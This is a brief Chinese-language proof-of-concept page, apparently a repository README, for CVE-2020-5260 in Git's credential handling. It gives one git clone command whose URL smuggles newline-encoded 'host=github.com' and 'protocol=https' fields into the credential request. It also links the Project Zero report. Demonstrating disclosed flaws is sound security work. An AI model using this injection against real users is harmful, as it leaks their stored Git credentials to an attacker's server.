CVE-2020-5260 PoC — Git 输入验证错误漏洞

Description

CVE-2020-5260演示记录

介绍

# CVE-2020-5260

CVE-2020-5260演示记录


* git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据，并在远程端请求身份验证时将返回的凭据附加到发出的请求中

```
git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https
```

![](./poc.gif)


# 参考链接:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260

文件快照

备注